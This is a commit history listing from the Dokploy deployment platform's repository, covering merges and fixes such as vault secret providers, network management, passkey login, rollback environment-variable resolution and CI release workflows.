Compare commits

..

340 Commits

Author SHA1 Message Date
Narciso 63144e6855 Merge branch 'canary' into feat/domain-enable-disable 2026-08-10 22:38:27 -04:00
Mauricio Siu 2d7caceeed Merge pull request #5035 from alsmadi99/fix/biome-scanner-memory-leak
fix: exclude node_modules/.next from biome scanner, bump to 2.5.7
2026-08-10 16:58:24 -06:00
Mauricio Siu fada032f72 feat: add @aws-sdk/client-secrets-manager dependency to pnpm-lock.yaml
- Included the @aws-sdk/client-secrets-manager package version 3.1097.0 to facilitate AWS Secrets Manager integration for managing environment secrets.
2026-08-10 16:56:55 -06:00
Mauricio Siu be9c8260c6 feat: add AWS Secrets Manager client dependency
- Included the @aws-sdk/client-secrets-manager package to enable integration with AWS Secrets Manager for managing environment secrets.
2026-08-10 16:56:33 -06:00
Mauricio Siu 8ac0e52656 Merge pull request #5037 from Dokploy/feat/vault-provider-integration
feat: third-party vault providers for environment secrets (HashiCorp Vault/OpenBao, Infisical, AWS, Doppler, Azure)
2026-08-10 16:42:02 -06:00
Mauricio Siu 9747e832ac feat: enhance vault provider access control and environment variable handling
- Updated the environment autocomplete component to include projectId and environmentId in vault secret fetching logic.
- Added authorization checks in the vault provider router to ensure users have access to the specified project and environment.
- Modified the vault provider schema to include projectId and optional environmentId for better validation.
- Improved error handling for unauthorized access and invalid vault provider assignments.
2026-08-10 16:41:08 -06:00
autofix-ci[bot] ce717a3de6 [autofix.ci] apply automated fixes 2026-08-10 22:28:45 +00:00
Mauricio Siu f6622428f7 feat: enhance vault provider management and environment variable resolution
- Introduced support for project and environment assignments for vault providers, allowing for more granular access control.
- Updated the vault provider schema to include assignments and modified related components to handle these changes.
- Enhanced UI to display assignment status and allow users to manage project and environment associations effectively.
- Added validation to ensure assignments reference valid projects and environments within the organization.
- Updated tests to cover new functionality related to vault provider assignments and environment variable resolution.
2026-08-10 16:25:39 -06:00
Mauricio Siu b8822a1fde feat: integrate vault provider management and environment variable resolution
- Added support for managing various vault providers (HashiCorp, AWS, Azure, Doppler, Infisical) in the dashboard.
- Implemented environment variable resolution using vault references, allowing seamless integration of secrets into application environments.
- Enhanced UI components to display and manage vault providers effectively.
- Introduced tests for vault reference resolution and environment variable preparation.
- Updated related components to utilize new vault management features.
2026-08-10 11:14:55 -06:00
Mohammad AlSmadi ae2edc79bf fix: enable tailwindDirectives in biome css parser
Biome 2.5.7's CSS parser rejects @apply/@theme (Tailwind v4 syntax)
by default, which broke the format CI job after the version bump.
Enable css.parser.tailwindDirectives and apply the resulting
formatter output (quote-style/line-wrap normalization from the
newer formatter).
2026-08-10 15:31:17 +04:00
Mohammad AlSmadi dced7970ac fix: exclude node_modules/.next from biome scanner, bump to 2.5.7
Biome's scanner walks node_modules and generated build output
(e.g. Next.js/Turbopack .next/dev chunks) regardless of files.includes,
which only governs lint/format targets, not the module-graph scanner.
On this monorepo (112k+ files under node_modules, actively regenerated
.next/dev artifacts) that let the biome daemon's memory grow unbounded
over a long-lived editor session.

Set files.experimentalScannerIgnores to exclude node_modules, .next,
.docker, and dist from the scanner, and bump @biomejs/biome from 2.1.1
to 2.5.7 to pick up several intervening scanner/module-graph fixes
(deadlock fix in 2.5.3, scanner-triggered memory fix in 2.5.2).
2026-08-10 15:07:47 +04:00
Mauricio Siu 771d76a57c Merge pull request #5027 from Dokploy/feat/docker-unified-tabs
feat: unified Docker dashboard with volumes section and file explorer
2026-08-09 13:14:07 -06:00
Mauricio Siu d0eb6ef1ca feat: add volumes section and file explorer for containers and volumes 2026-08-09 13:03:41 -06:00
Mauricio Siu 8637acb56c refactor: simplify SwarmMonitorCard logic and update dashboard structure
- Refactored SwarmMonitorCard to use optional chaining for node data handling.
- Consolidated loading and error states into a single conditional rendering block.
- Updated dashboard layout to include tabs for containers and swarm, enhancing navigation.
- Removed deprecated network-related code from the dashboard.
2026-08-09 12:28:22 -06:00
Mauricio Siu 4791863ff9 Merge pull request #5025 from Dokploy/fix/backup-double-dump-4222
fix: run database dump once per backup and clean up partial uploads on failure
2026-08-09 12:11:28 -06:00
Mauricio Siu f633d4b0a3 fix: run database dump once per backup and clean up partial uploads on failure 2026-08-09 12:10:13 -06:00
Mauricio Siu b7db28408d Merge pull request #5024 from Dokploy/fix/stack-containers-worker-nodes-4520
fix: show stack containers running on worker nodes
2026-08-09 11:38:00 -06:00
Mauricio Siu 1f73ebd0b0 fix: list stack containers across swarm nodes via docker stack ps 2026-08-09 11:37:19 -06:00
Mauricio Siu ef0272a4ec Merge pull request #5019 from Dokploy/fix/chart-animation-4414
fix: disable recharts animation on monitoring charts
2026-08-09 02:34:32 -06:00
Mauricio Siu bd7fb8f23c fix: disable recharts animation on monitoring charts 2026-08-09 02:33:47 -06:00
Mauricio Siu e801b6cda0 Merge pull request #4225 from GuillaumeLecomte1/fix/favicon-theme-toggle
fix(ui): update favicon dynamically based on app theme
2026-08-09 02:19:58 -06:00
Mauricio Siu 05ab210acd Merge pull request #5018 from Dokploy/fix/compose-preview-patches-4243
fix: compose preview not reflecting patches
2026-08-09 02:07:34 -06:00
Mauricio Siu bc935ae3ad fix: apply compose file patches in preview and domain injection 2026-08-09 02:06:23 -06:00
Mauricio Siu 4b90eb0d90 Merge pull request #5017 from Dokploy/fix/terminal-mac-option-keys-4297
fix: allow Option/Alt composed characters in terminals on macOS
2026-08-09 01:30:21 -06:00
Mauricio Siu b20348908f fix: allow Option/Alt composed characters in terminals on macOS 2026-08-09 01:29:42 -06:00
Mauricio Siu f08c53c9b7 Merge pull request #5005 from Dokploy/fix/postgres-image-mountpath-warning
fix: warn on postgres image change when the implied data directory mismatches the mounted volume
2026-08-08 23:37:07 -06:00
Mauricio Siu c0694eb5b2 fix: improve mount path warning for PostgreSQL by handling multiple data mounts 2026-08-08 23:36:48 -06:00
Mauricio Siu c05511db33 Merge pull request #5008 from Dokploy/fix/compose-create-env-file-toggle
fix: add createEnvFile toggle to Compose, mirroring Application
2026-08-08 14:01:26 -06:00
autofix-ci[bot] be71866c96 [autofix.ci] apply automated fixes 2026-08-07 17:51:52 -04:00
Narciso 5c862f7ef4 fix: add createEnvFile toggle to Compose, mirroring Application 2026-08-07 17:28:57 -04:00
Narciso E. Núñez Arias 1de7b515ab Merge pull request #4171 from rpoetrap/fix/docker-host
fix: invalid docker host while using docker desktop
2026-08-07 15:46:51 -04:00
Narciso E. Núñez Arias 91258d00ad Merge pull request #4997 from ews-pgasser/fix/chaining-canary
fix: allow docker compose command chaining
2026-08-07 10:34:08 -04:00
ews-pgasser 65d2853b9e chore: add tests 2026-08-07 12:01:08 +00:00
ews-pgasser f3c7edcfd6 fix: use proper linting 2026-08-07 12:00:55 +00:00
Philipp Gasser fe0a84dde8 Merge branch 'Dokploy:canary' into fix/chaining-canary 2026-08-07 13:00:57 +02:00
Mauricio Siu 6a10923a50 fix: warn when the postgres image implies a data directory that mismatches the mounted volume 2026-08-07 01:34:15 -06:00
Mauricio Siu bcab5b059f Merge pull request #5004 from Dokploy/fix/isolated-deployment-traefik-network-label
fix: pin Traefik routing to the isolated network on isolated deployments
2026-08-07 01:14:42 -06:00
Mauricio Siu a8c35f7501 fix: pin traefik routing to the isolated network when isolated deployment is enabled 2026-08-07 01:13:13 -06:00
Mauricio Siu 9f69f6cbf9 Merge pull request #4998 from Dokploy/fix/monitoring-io-charts-nan
fix: Block I/O and Network I/O monitoring charts not populating
2026-08-06 14:21:44 -06:00
Mauricio Siu b3e7a8a74c fix: parse Block I/O and Network I/O stats to numeric MB so monitoring charts render 2026-08-06 14:20:29 -06:00
Mauricio Siu 309dd567d6 Merge pull request #4624 from fcsouza/fix/structured-log-level
fix(logs): respect log level explicitly declared by structured loggers
2026-08-06 14:00:35 -06:00
Mauricio Siu 340687574a Merge pull request #4824 from Dokploy/fix/log-viewer-false-error-classification
fix(logs): don't classify explicit non-error key/values as error
2026-08-06 13:55:19 -06:00
Mauricio Siu dd04312470 Merge pull request #4994 from elisiumm/fix/nixpacks-static-spa-toggle
fix(ui): expose isStaticSpa toggle for nixpacks + publish directory
2026-08-06 13:43:27 -06:00
Narciso E. Núñez Arias 27377da6fa Merge pull request #3867 from karyanayandi/fix/lazy-initializer-for-usestate
fix: use lazy initializer for useState with function calls
2026-08-06 11:40:29 -04:00
Narciso E. Núñez Arias 3e306e5dba Merge pull request #4122 from Gabrielgvl/fix/server-schedule-pipefail
fix: preserve server schedule failures through tee pipeline
2026-08-06 11:21:22 -04:00
Narciso E. Núñez Arias d8bb3f406c Merge pull request #4176 from daniel-abramov/canary
fix: add unzip to arch server set up
2026-08-06 11:13:45 -04:00
ews-pgasser ac57e22b87 fix: allow docker compose command chaining 2026-08-06 15:25:04 +02:00
elisiumm 94098b2686 fix(ui): expose isStaticSpa toggle for nixpacks + publish directory
The backend already honors isStaticSpa for the Nixpacks builder when a
publishDirectory is set (getStaticCommand generates an SPA-aware nginx
config with try_files fallback to index.html), but the build type form
only wired the field for the Static builder. As a result the toggle
never rendered for Nixpacks and any save in that mode silently cleared
the flag via the discriminated union schema and resetData mapping.

Add isStaticSpa to the nixpacks schema variant and resetData case,
render the same SPA checkbox once a publish directory is set, and
include the field in the save mutation payload for nixpacks.

Fixes #4993
2026-08-06 14:25:29 +02:00
Mauricio Siu 53feb9dd5b Merge pull request #4984 from Dokploy/fix/sync-version-pnpm-pin
fix(ci): pin pnpm and strip v prefix in sync-version job
2026-08-06 01:20:35 -06:00
Mauricio Siu b6190ff314 fix(ci): pin pnpm and strip v prefix in sync-version job
npm install -g pnpm resolved to pnpm 11, which turns the esbuild ignored-build-scripts warning into a fatal error, so sync-version has failed on every release since v0.29.5 and mcp/cli/sdk were never bumped or published. Pin pnpm to 10.22.0 (same as packageManager) and write the version without the v prefix so npm packages get valid semver.
2026-08-06 01:19:37 -06:00
Mauricio Siu abe774650f Merge pull request #4962 from Dokploy/fix/compose-env-file-special-chars
fix: preserve special characters in Compose-generated .env values
2026-08-06 00:58:04 -06:00
Mauricio Siu 1f04ebf3cd Merge pull request #4983 from Dokploy/fix/release-tag-target-commitish
fix(ci): create release tags on the pushed commit instead of default branch
2026-08-06 00:43:48 -06:00
Mauricio Siu 472ebed06c fix(ci): create release tags on the pushed commit instead of default branch 2026-08-06 00:42:22 -06:00
Mauricio Siu 4ce24dfdd3 Merge pull request #4982 from Dokploy/fix/hotfix-cherry-pick-permissions
fix(ci): push hotfix cherry-picks with PAT to satisfy branch rules
2026-08-06 00:29:02 -06:00
Mauricio Siu 06b67d4519 fix(ci): push hotfix cherry-picks with PAT to satisfy branch rules 2026-08-06 00:26:52 -06:00
Mauricio Siu 5dd2b5beec Merge branch 'main' into canary 2026-08-06 00:12:08 -06:00
Mauricio Siu 35af10ca07 Bump version to v0.30.0 2026-08-06 00:11:16 -06:00
Mauricio Siu 75448f358e Merge pull request #4972 from Dokploy/fix/domain-single-label-hostname
fix(domain): allow single-label hostnames without a TLD
2026-08-06 00:01:57 -06:00
Mauricio Siu 4e675d6f3f Merge pull request #4978 from Dokploy/hotfix/v0.29.14
Hotfix v0.29.14: backport 20 bug fixes
2026-08-06 00:00:20 -06:00
Mauricio Siu 57fae73853 Update packages/server/src/utils/schedules/utils.ts
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-08-05 23:54:32 -06:00
Mauricio Siu dd542994a4 chore: release v0.29.14 2026-08-05 23:49:59 -06:00
Narciso E. Núñez Arias bcf97f92ab Merge pull request #4772 from rifatdinc/fix-watch-paths-added-removed-files
fix(webhook): include added and removed files in watchPaths validation

(cherry picked from commit 3f98208f03)
2026-08-05 23:48:13 -06:00
Mauricio Siu e19d7bbf0e Merge pull request #4971 from Dokploy/fix/restore-dialog-width
fix(ui): widen restore backup dialog to match other backup dialogs

(cherry picked from commit 3495fc89bf)
2026-08-05 23:48:12 -06:00
Mauricio Siu 3e4ed0c299 Merge pull request #4966 from Dokploy/fix/requests-hostname-filter-crash
fix(requests): guard RequestHost before filtering to avoid crash on malformed logs

(cherry picked from commit a0162ab566)
2026-08-05 23:48:05 -06:00
Narciso E. Núñez Arias 112b2c8358 Merge pull request #4923 from dmtrTm/fix/rollback-environment-variables
fix: resolve environment variables on application rollback
(cherry picked from commit 46c87a22b0)
2026-08-05 23:48:04 -06:00
Mauricio Siu b7fdbd4704 Merge pull request #4557 from rnkp755/fix/env-update-issue
fix: invalidate railpack build cache when env changes
(cherry picked from commit a1230098c9)
2026-08-05 23:48:04 -06:00
Mauricio Siu 13b897c01d Merge pull request #4959 from Dokploy/fix/cleanup-preview-deployments-on-app-delete
fix(application): remove preview deployments when deleting an application

(cherry picked from commit 056b6983db)
2026-08-05 23:48:04 -06:00
Mauricio Siu 83008205b9 Merge pull request #4955 from Dokploy/fix/schedule-run-manually-deployment-metadata
fix(schedule): return deployment metadata from runManually and fail early on missing container

(cherry picked from commit 11e93dde38)
2026-08-05 23:48:03 -06:00
Mauricio Siu 0f0102ff2d Merge pull request #4933 from CyrilBIENNE/fix/preview-deployment-github-credentials
fix(preview-deployment): refetch github provider before authenticating

(cherry picked from commit a058d1f5c7)
2026-08-05 23:48:03 -06:00
Mauricio Siu cbe78950cc Merge pull request #4954 from Dokploy/fix/error-page-status-code
fix(ui): show real status code on error page

(cherry picked from commit 3835a6fe68)
2026-08-05 23:48:03 -06:00
Mauricio Siu 49ee74c89d Merge pull request #4953 from Dokploy/fix/dropdown-dialog-window-blur
fix(ui): keep dropdown menus open on window blur

(cherry picked from commit 51cb7d2287)
2026-08-05 23:48:02 -06:00
Mauricio Siu e88d13f67b Merge pull request #4947 from azizbecha/fix/4945-deployment-delete-loading
fix(ui): scope deployment delete loading

(cherry picked from commit 2be9e1e3df)
2026-08-05 23:48:02 -06:00
Mauricio Siu 2f89981597 Merge pull request #4948 from azizbecha/fix/collapsed-sidebar-avatar
fix(ui): prevent collapsed avatar clipping

(cherry picked from commit 3b0bdd8f74)
2026-08-05 23:48:02 -06:00
Mauricio Siu c7a96ed82c Merge pull request #4782 from imrja8/fix/watchpath-badge-removal
fix(ui): resolve unclickable watch path removal button

(cherry picked from commit 018e56a7b4)
2026-08-05 23:48:01 -06:00
Mauricio Siu d4e087e128 Merge pull request #4937 from Dokploy/fix/persist-trigger-type-provider-forms
fix(ui): persist trigger type selection in GitHub provider forms

(cherry picked from commit bb73c6e6dd)
2026-08-05 23:48:01 -06:00
Mauricio Siu 7f41b098f9 Merge pull request #4911 from AbiRaditya/fix/cloudflare-badge-tooltip-error-title
fix(domains): don't render CDN info message as an error in DNS tooltip

(cherry picked from commit 5df820a740)
2026-08-05 23:48:01 -06:00
Mauricio Siu 43229c89da Merge pull request #4931 from Dokploy/fix/postgres-100-arg-limit-finders
fix: avoid postgres 100-argument limit in schedule, volume backup and port queries
(cherry picked from commit deebf0f107)
2026-08-05 23:48:00 -06:00
Mauricio Siu c6607f3a19 Merge pull request #4924 from dmtrTm/fix/rollback-query-arg-limit
fix: avoid postgres 100-argument limit in findRollbackById
(cherry picked from commit 069939e8f9)
2026-08-05 23:48:00 -06:00
Mauricio Siu 6e84f39a9f Merge pull request #4929 from Dokploy/fix/remove-buttons-not-persisting
fix(ui): make interactive icons inside badges clickable again

(cherry picked from commit 425d478a0b)
2026-08-05 23:47:59 -06:00
Mauricio Siu b024c9c2fd Merge pull request #4626 from veksen/veksen/textarea-resets-while-editing
fix: prevent environment form from resetting while editing
(cherry picked from commit 73e4fdd757)
2026-08-05 23:47:59 -06:00
Mauricio Siu 982f4d70f7 Merge pull request #4890 from SteadEXE/canary
fix(ui): add cursor pointer style for buttons

(cherry picked from commit 0fc75840d2)
2026-08-05 23:47:59 -06:00
Mauricio Siu ba24ae6797 Merge pull request #4977 from Dokploy/feat/hotfix-release-flow
feat(ci): add hotfix cherry-pick and release workflows
2026-08-05 23:34:52 -06:00
Mauricio Siu 2f8af90da4 feat(ci): add hotfix cherry-pick and release workflows 2026-08-05 23:34:01 -06:00
Narciso E. Núñez Arias 3f98208f03 Merge pull request #4772 from rifatdinc/fix-watch-paths-added-removed-files
fix(webhook): include added and removed files in watchPaths validation
2026-08-05 22:21:12 -04:00
Narciso 5d231bf3e3 fix(domain): allow single-label hostnames without a TLD 2026-08-04 17:38:13 -04:00
Mauricio Siu 0124613516 Merge pull request #4944 from Dokploy/feat/add-github-provider-baseurl
feat: add baseUrl to github provider to support github enterprise urls
2026-08-04 11:53:04 -06:00
Mauricio Siu 3495fc89bf Merge pull request #4971 from Dokploy/fix/restore-dialog-width
fix(ui): widen restore backup dialog to match other backup dialogs
2026-08-04 11:51:24 -06:00
Mauricio Siu 5ae289cae3 fix(ui): widen restore backup dialog to match other backup dialogs 2026-08-04 11:47:04 -06:00
Mauricio Siu a0162ab566 Merge pull request #4966 from Dokploy/fix/requests-hostname-filter-crash
fix(requests): guard RequestHost before filtering to avoid crash on malformed logs
2026-08-04 10:59:35 -06:00
Narciso 314a31dc27 fix(requests): guard RequestHost before filtering to avoid crash on malformed logs 2026-08-04 09:47:40 -04:00
autofix-ci[bot] 108541c957 [autofix.ci] apply automated fixes 2026-08-04 02:36:10 +00:00
Narciso 14be318502 feat: remove unnecesary checks for ip and comments 2026-08-03 22:35:41 -04:00
Narciso d6c2e38cb0 Merge remote-tracking branch 'origin/canary' into feat/add-github-provider-baseurl
# Conflicts:
#	apps/dokploy/drizzle/meta/0177_snapshot.json
#	apps/dokploy/drizzle/meta/_journal.json
2026-08-03 19:34:26 -04:00
Narciso ff39cb51e6 fix: escape env values written to the Compose .env file so $, #, and quotes survive literally 2026-08-03 17:57:02 -04:00
Narciso E. Núñez Arias 46c87a22b0 Merge pull request #4923 from dmtrTm/fix/rollback-environment-variables
fix: resolve environment variables on application rollback
2026-08-03 13:41:06 -04:00
Mauricio Siu 1776e6ad4f Merge branch 'canary' into fix/structured-log-level 2026-08-03 04:32:25 -06:00
autofix-ci[bot] 9f1ba37e13 [autofix.ci] apply automated fixes 2026-08-03 10:24:29 +00:00
Mauricio Siu 60112d84a5 fix(logs): require complete no-error values in colon pairs 2026-08-03 04:24:02 -06:00
Mauricio Siu 89c0e9ef67 Merge pull request #4960 from Dokploy/feat/network-mtu
feat(networks): add MTU option to network creation
2026-08-03 04:12:04 -06:00
autofix-ci[bot] 8583b3c1a5 [autofix.ci] apply automated fixes 2026-08-03 10:10:27 +00:00
Mauricio Siu 69a5615544 feat(networks): add MTU option to network creation 2026-08-03 04:09:50 -06:00
Mauricio Siu a1230098c9 Merge pull request #4557 from rnkp755/fix/env-update-issue
fix: invalidate railpack build cache when env changes
2026-08-03 03:55:49 -06:00
autofix-ci[bot] eacb1440e0 [autofix.ci] apply automated fixes 2026-08-03 09:55:15 +00:00
Mauricio Siu 7e38861985 Merge remote-tracking branch 'origin/canary' into fix/env-update-issue
# Conflicts:
#	packages/server/src/utils/builders/railpack.ts
2026-08-03 03:53:41 -06:00
Mauricio Siu 056b6983db Merge pull request #4959 from Dokploy/fix/cleanup-preview-deployments-on-app-delete
fix(application): remove preview deployments when deleting an application
2026-08-03 03:43:17 -06:00
Mauricio Siu f6b0700ea5 fix(application): remove preview deployments when deleting an application 2026-08-03 03:42:27 -06:00
Mauricio Siu 4325605578 Remove freshAge from session configuration 2026-08-03 02:42:27 -06:00
Mauricio Siu 5d11a045cc Merge pull request #4957 from Dokploy/feat/passkeys
feat(auth): add passkey support
2026-08-03 02:40:32 -06:00
Mauricio Siu d92de5a4a0 fix(build): exclude CLI-only auth config from server dist build 2026-08-02 21:31:42 -06:00
Mauricio Siu 81051ca965 refactor(passkeys): list passkeys via tRPC instead of better-auth client atom 2026-08-02 16:43:03 -06:00
Mauricio Siu 7b0bcee652 feat(auth): add passkey support via better-auth 2026-08-02 16:36:44 -06:00
Mauricio Siu 11e93dde38 Merge pull request #4955 from Dokploy/fix/schedule-run-manually-deployment-metadata
fix(schedule): return deployment metadata from runManually and fail early on missing container
2026-08-02 16:22:35 -06:00
Mauricio Siu cbb3450b93 fix(schedule): return deployment metadata from runManually and fail early on missing container 2026-08-02 16:15:20 -06:00
Mauricio Siu a058d1f5c7 Merge pull request #4933 from CyrilBIENNE/fix/preview-deployment-github-credentials
fix(preview-deployment): refetch github provider before authenticating
2026-08-02 15:36:54 -06:00
Mauricio Siu 3835a6fe68 Merge pull request #4954 from Dokploy/fix/error-page-status-code
fix(ui): show real status code on error page
2026-08-02 15:29:36 -06:00
Mauricio Siu 325c2a4180 fix(ui): show real status code on error page 2026-08-02 15:28:55 -06:00
Mauricio Siu 51cb7d2287 Merge pull request #4953 from Dokploy/fix/dropdown-dialog-window-blur
fix(ui): keep dropdown menus open on window blur
2026-08-02 15:05:09 -06:00
Mauricio Siu 081cf3fb80 fix(ui): keep dropdown menus open on window blur 2026-08-02 14:29:57 -06:00
Mauricio Siu 2be9e1e3df Merge pull request #4947 from azizbecha/fix/4945-deployment-delete-loading
fix(ui): scope deployment delete loading
2026-08-02 14:06:01 -06:00
Mauricio Siu 3b0bdd8f74 Merge pull request #4948 from azizbecha/fix/collapsed-sidebar-avatar
fix(ui): prevent collapsed avatar clipping
2026-08-02 13:59:56 -06:00
Aziz Becha 6e79270423 fix(ui): track concurrent deployment deletes 2026-08-01 00:59:17 +01:00
Aziz Becha 9999f0a18e fix(ui): prevent collapsed avatar clipping
Refs Dokploy/dokploy#4946
2026-08-01 00:55:24 +01:00
Aziz Becha 268ec1f397 fix(ui): scope deployment delete loading 2026-08-01 00:55:20 +01:00
Mauricio Siu 018e56a7b4 Merge pull request #4782 from imrja8/fix/watchpath-badge-removal
fix(ui): resolve unclickable watch path removal button
2026-07-31 15:15:12 -06:00
Narciso 1cf81e3802 feat: add baseUrl to github provider to support github enterprise url 2026-07-31 11:42:12 -04:00
Mauricio Siu bb73c6e6dd Merge pull request #4937 from Dokploy/fix/persist-trigger-type-provider-forms
fix(ui): persist trigger type selection in GitHub provider forms
2026-07-30 11:23:32 -06:00
Narciso 15bc4b5dc5 fix(ui): persist trigger type selection in GitHub provider forms 2026-07-29 15:53:40 -04:00
Cyril BIENNE 30e8d9b86e fix(preview-deployment): refetch github provider before authenticating
`findApplicationById` redacts `githubPrivateKey` from the `github`
relation, but `createPreviewDeployment` passed that redacted object
straight to `authGithub`. Since `haveGithubRequirements` requires the
private key, it always returned false and `authGithub` threw
`TRPCError NOT_FOUND: "Github Account not configured correctly"`.

That throw is uncaught in `pages/api/deploy/github.ts`, so every
`pull_request` webhook returned a bare 500 and no preview deployment
was ever created.

Resolve the provider through `findGithubById(application.githubId)`
instead, matching how every other call site obtains credentials. This
keeps the redaction introduced for `findApplicationById` intact.

Fixes #4898

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-29 13:51:12 +02:00
Mauricio Siu 5df820a740 Merge pull request #4911 from AbiRaditya/fix/cloudflare-badge-tooltip-error-title
fix(domains): don't render CDN info message as an error in DNS tooltip
2026-07-28 16:35:53 -06:00
Mauricio Siu ba5af51347 Merge pull request #4932 from Dokploy/feat/add-icons
feat(icon): enhance icon management for services
2026-07-28 16:35:16 -06:00
Mauricio Siu 6e1d020769 feat(icon): enhance icon management for services
- Updated ShowIconSettings component to handle both application and compose service types.
- Added new icon column to the compose table in the database.
- Implemented fetching and updating of icons for services in the environment and application pages.
- Introduced fetchTemplateLogo function to retrieve logos for templates, improving icon handling for compose services.
2026-07-28 15:50:43 -06:00
Mauricio Siu deebf0f107 Merge pull request #4931 from Dokploy/fix/postgres-100-arg-limit-finders
fix: avoid postgres 100-argument limit in schedule, volume backup and port queries
2026-07-28 15:22:18 -06:00
Mauricio Siu 7047e4f199 fix: avoid postgres 100-argument limit in schedule, volume backup and port queries 2026-07-28 15:19:56 -06:00
Mauricio Siu 069939e8f9 Merge pull request #4924 from dmtrTm/fix/rollback-query-arg-limit
fix: avoid postgres 100-argument limit in findRollbackById
2026-07-28 15:13:42 -06:00
Mauricio Siu b7e5fadf53 Merge pull request #4930 from Dokploy/chore/remove-redis-leftovers
chore: remove leftover Redis infrastructure code
2026-07-28 15:08:19 -06:00
Mauricio Siu 260af232e7 chore: remove leftover Redis infrastructure code
Dokploy stopped using Redis in v0.29.9 when the deployment queue moved
to an in-memory implementation, and install.sh no longer creates the
dokploy-redis service. Remove the remaining references so fresh installs
don't report Redis as unhealthy:

- checkRedisHealth from infrastructure health check
- cleanRedis/reloadRedis endpoints and their UI actions
- initializeRedis dev setup and redis-connection config
- unused bullmq dependency
2026-07-28 14:23:10 -06:00
Mauricio Siu 425d478a0b Merge pull request #4929 from Dokploy/fix/remove-buttons-not-persisting
fix(ui): make interactive icons inside badges clickable again
2026-07-28 14:09:42 -06:00
Narciso 268fd7d771 fix(ui): make interactive icons inside badges clickable again 2026-07-28 13:43:01 -04:00
dmtrTm 4ba7972ffa fix: avoid postgres 100-argument limit in findRollbackById
Rolling back any application fails with

  PostgresError: cannot pass more than 100 arguments to a function (54023)

since 0175_fantastic_peter_quill took the application table to 101 columns.
findRollbackById hydrated deployment -> application -> environment -> project,
so drizzle compiled all 101 application columns plus the nested blob into one
json_build_array() call, above the FUNC_MAX_ARGS = 100 limit. At 99 columns it
sat exactly on the limit.

None of that nested data is read: the routers only use deployment.applicationId,
and rollback()/removeRollbackById() read the rollback row itself. Drop the nested
relations, the same shape as #4257 for findPreviewDeploymentById.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-28 15:49:38 +07:00
dmtrTm 2739690758 fix: resolve environment variables on application rollback
rollbackApplication() called prepareEnvironmentVariables() without the
environment env, so every ${{environment.*}} reference threw "Invalid
environment variable: environment.X" and the rollback failed with an
opaque 400 before the swarm service was updated.

fb749cd86 added the third argument to every other call site but left
services/rollbacks.ts, which had been calling the helper since 24bff9689.
The value is already captured in the snapshot by createRollback(); both
fullContext declarations simply typed environment as { project: Project },
so the missing argument was invisible to the compiler.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-28 14:39:46 +07:00
Mauricio Siu d768adb6ad feat(api): enhance OpenAPI schema for application endpoints and network validation
- Added new endpoints for application creation, retrieval, and reloading with detailed request and response schemas.
- Updated existing network validation schemas to enforce minimum length requirements for network IDs.
- Improved OpenAPI documentation to ensure better clarity and validation for application-related operations.
2026-07-27 00:59:56 -06:00
Mauricio Siu 24d0cff060 Merge pull request #3774 from Dokploy/feat/add-network-management
Feat/add network management
2026-07-27 00:43:28 -06:00
Mauricio Siu 29fcc74ca5 feat(audit): integrate auditing for network operations
- Added auditing functionality for network creation, recreation, and deletion actions in the network API.
- Updated the audit log schema to include "network" as a resource type.
- Enhanced the network router to log actions with relevant metadata, improving traceability and accountability for network management operations.
2026-07-27 00:42:05 -06:00
Abi Raditya 8f0702c4da fix(domains): don't render CDN info message as an error in DNS tooltip
validateDomain returns isValid: true for CDN-fronted domains but reuses
the `error` field to carry the provider's informational warning. Both
domain tooltips branched on `error` alone, so the message rendered under
a red "Error:" heading even though the badge correctly showed a green
"Behind Cloudflare" state.

Check the valid+message case first, matching how the badge already
distinguishes the two. Applied to both the table view (columns.tsx) and
the card view (show-domains.tsx), which shares the same tooltip.

Fixes #4910

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-26 21:13:26 +07:00
Mauricio Siu ec74035c70 feat: add new test 2026-07-25 03:20:00 -06:00
autofix-ci[bot] aee15efac7 [autofix.ci] apply automated fixes 2026-07-25 09:10:21 +00:00
Mauricio Siu 97885ee44a feat(networks): enhance network management and UI components
- Added functionality for assigning Docker networks to services, allowing users to manage network associations directly from the UI.
- Introduced new components for assigning networks to both individual services and compose files, improving user experience and flexibility.
- Updated existing components to integrate network assignment features, ensuring seamless interaction within the dashboard.
- Enhanced the database schema to support new network-related fields, including `networkIds` and `detachDokployNetwork`, for better service configuration.
- Improved the layout and responsiveness of various UI elements to accommodate new features and enhance usability.
2026-07-25 03:09:54 -06:00
Mauricio Siu 73e4fdd757 Merge pull request #4626 from veksen/veksen/textarea-resets-while-editing
fix: prevent environment form from resetting while editing
2026-07-22 14:33:42 -06:00
Mauricio Siu 0fc75840d2 Merge pull request #4890 from SteadEXE/canary
fix(ui): add cursor pointer style for buttons
2026-07-22 00:12:53 -06:00
autofix-ci[bot] 79c127b03b [autofix.ci] apply automated fixes 2026-07-22 06:03:44 +00:00
Jordan B f2148040a3 Add cursor pointer style for buttons
Added cursor pointer style for buttons and roles.
2026-07-22 08:01:02 +02:00
Mauricio Siu 8a37626636 feat(networks): implement network recreation functionality and enhance synchronization
- Added a new API endpoint for recreating Docker networks that have been removed, allowing users to restore networks directly from the Dokploy interface.
- Updated the ShowNetworks and SyncNetworks components to include options for recreating networks, improving user management capabilities.
- Enhanced the network synchronization process to better handle stale records, providing users with clear actions for network maintenance.
- Refactored network creation logic to streamline the process and ensure consistency across network management operations.
2026-07-21 23:10:33 -06:00
Mauricio Siu adcbd6fd8e feat(networks): enhance network management with server filtering and synchronization
- Added server filtering capability to the dashboard, allowing users to manage networks specific to selected servers.
- Introduced SyncNetworks component for synchronizing Docker networks with Dokploy, enabling import of new networks and cleanup of stale records.
- Updated HandleNetwork and ShowNetworks components to support server-specific operations, improving user experience and functionality.
- Enhanced API to support network synchronization and importing, ensuring accurate data handling for network management.
2026-07-21 22:55:10 -06:00
Mauricio Siu c578c18500 feat(networks): add network configuration viewer and enhance network actions
- Introduced a new ShowNetworkConfig component for displaying detailed Docker network configuration.
- Integrated ShowNetworkConfig into the ShowNetworks component, allowing users to view network details directly.
- Updated the layout of network actions for improved user experience and accessibility.
- Enhanced the API to support network inspection functionality, providing necessary data for the new component.
2026-07-21 22:28:00 -06:00
Mauricio Siu 94ddbf8ba5 refactor(networks): streamline network management and enhance validation
- Simplified the network form schema by removing unnecessary fields and enforcing validation rules for IP settings.
